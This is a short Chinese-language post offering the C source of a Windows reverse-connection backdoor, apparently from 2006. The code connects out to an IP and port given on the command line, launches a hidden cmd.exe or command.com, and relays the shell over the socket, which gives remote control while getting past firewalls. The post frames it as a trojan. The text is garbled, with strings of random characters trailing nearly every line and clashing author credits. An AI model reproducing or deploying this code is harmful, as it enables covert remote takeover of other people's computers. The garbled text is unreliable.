这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bCd! ap+#
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/* ============================== Sl:\5]'yJ
Rebound port in Windows NT -/#3U{O
By wind,2006/7 b'3#FI=:
===============================*/ MMhd -B1O&
#include $N,9e
#include +ZizT.$&
d`({z]W;
#pragma comment(lib,"wsock32.lib") *'d5~dz=
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void OutputShell(); &bBp`h
SOCKET sClient; h=`rZC
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -d_FB?X
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void main(int argc,char **argv) eC[g"Ef
{ *$`r)pV%AK
WSADATA stWsaData; 1 68U-<
int nRet; F
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SOCKADDR_IN stSaiClient,stSaiServer; oJ6
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if(argc != 3) "Hgn2o.;5
{ "q#(}1Zd
printf("Useage:\n\rRebound DestIP DestPort\n"); y,Dfqt
return; N#T MU
} XKks j!'B
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WSAStartup(MAKEWORD(2,2),&stWsaData); EnwiE
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (e F5?I
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stSaiClient.sin_family = AF_INET; -BEPpwb<g
stSaiClient.sin_port = htons(0); QfcW
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); gMHH3^\VH)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) tG%R_$*
{ S1$\D!|1
printf("Bind Socket Failed!\n"); <9@VY
return; 1/HPcCsHb
} \+cQiN b@
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stSaiServer.sin_family = AF_INET; 35&&*$Jm
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); M{~eI
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >V;<K?5B`W
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @M,KA {e
{ Bm~>w`1wK
printf("Connect Error!"); ;uba
return; QL|Vke:N4
} Ty@&s58a
OutputShell(); ef!I |.FW
} N3x}YHFF
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void OutputShell() rWbL_1Eq
{ ?I7H ):
char szBuff[1024]; SxOM@A
SECURITY_ATTRIBUTES stSecurityAttributes; 3F X`dZ
OSVERSIONINFO stOsversionInfo; ISq^V
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]'M4Unu#@
STARTUPINFO stStartupInfo; W@UHqHr:\
char *szShell; ]}'WNy6c&x
PROCESS_INFORMATION stProcessInformation; -P.)
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unsigned long lBytesRead; g2iSc
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); yM\1n
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8Oc*<^{#
stSecurityAttributes.lpSecurityDescriptor = 0; F$+_Z~yt3;
stSecurityAttributes.bInheritHandle = TRUE; =?FA9wm
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); x6$P(eN
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r)7A# 3wId
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qa%g'sB-b
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CdEJ/G:
stStartupInfo.wShowWindow = SW_HIDE; B<0lif|
stStartupInfo.hStdInput = hReadPipe; [2&Fnmjk}X
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]+@b=J2b
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GetVersionEx(&stOsversionInfo); ;{Ovqo|
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switch(stOsversionInfo.dwPlatformId) DtZkrj)D/
{ pD &\Z~5T
case 1: Uel*:c
szShell = "command.com"; W6\s@)b;
break; aEL6-['(
default: Ex<-<tY
szShell = "cmd.exe"; kB :")$
break; fE^rTUtn
} VBd.5YW
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $ cK9E:v
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send(sClient,szMsg,77,0); S B'.
while(1) 2Q Bq
{ X1" `0r3
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x$A5Ved
if(lBytesRead) 8E$KR:/:4
{ A4SM@ry
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); O #0:6QX
send(sClient,szBuff,lBytesRead,0); UQhfR}(
} Hi|Oeu
else U` bvv'38#
{ pX2 Ki^)]
lBytesRead=recv(sClient,szBuff,1024,0); a{H~>d<?
if(lBytesRead<=0) break; o3uv"#
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2I#fwsb
} mNuv>GAb
} mD0pqK
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return; Q+uYr-
}